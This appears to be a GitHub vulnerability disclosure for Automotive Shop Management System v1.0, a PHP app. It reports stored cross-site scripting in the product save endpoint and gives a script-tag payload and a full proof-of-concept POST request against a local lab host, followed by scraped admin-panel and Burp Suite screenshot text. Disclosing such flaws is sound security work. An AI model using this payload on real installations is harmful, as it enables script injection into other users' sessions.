

🔑 main ▾

...

automotive / automotive-shop-management-system / xss.md



mikeccltt Update xss.md

🕒 History

👤 1 contributor

59 lines (42 sloc) | 1.93 KB

...

Automotive Shop Management System v1.0 - Cross-site Scripting (XSS)

vendors: <https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /asms/classes/Master.php?f=save_product

Vulnerability location: /asms/classes/Master.php?f=save_product, name

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

```
POST /asms/classes/Master.php?f=save_product HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
```

Content-Type: multipart/form-data; boundary=-----
-83960212638164850273547100712
Content-Length: 835
Origin: http://192.168.2.106
Connection: keep-alive
Referer: http://192.168.2.106/asms/admin/?page=products
Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfaq

-----83960212638164850273547100712
Content-Disposition: form-data; name="id"

5

-----83960212638164850273547100712
Content-Disposition: form-data; name="name"

<ScRiPt>alert(1)</ScRiPt>

-----83960212638164850273547100712
Content-Disposition: form-data; name="description"

<ScRiPt>alert(1)</ScRiPt>

-----83960212638164850273547100712
Content-Disposition: form-data; name="price"

1100.00

-----83960212638164850273547100712
Content-Disposition: form-data; name="status"

1

-----83960212638164850273547100712
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

-----83960212638164850273547100712--

ASMS - PHP

Dashboard

Product List

Inventory

Transactions

Maintenance

Daily Sales Report

Daily Service Report

Maintenance

Service List

Mechanic List

User List

Settings

Automotive Shop Management System - Admin

Update Product Details

Name

Engine Oil 4L

Description

Test Engine Oil 4L

Price

1100.00


Status

Active

Thumbnail

Choose file

Browse



Save

Cancel

192.168.2.106/asms/admin/?page=products

Administrator Admin

Developed by orethnom23

Create New

Search:

#	Date	Price	Status	Action
1	2022	1100.00	Active	Action
2	2022	7800.00	Active	Action
3	2022	6500.00	Active	Action
4	2022	1300.00	Active	Action
5	2022	650.00	Active	Action

Showing 1 to 5

Previous1Next

ASMS - PHP (by: orethnom23) v1.0

RepeaterSequencerDecoderComparerExtenderOptionsAlerts

Params	Edited	Status	Length	MIME t...	Extension	Title
ns/admin/products/manage_...	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	3933	HTML	php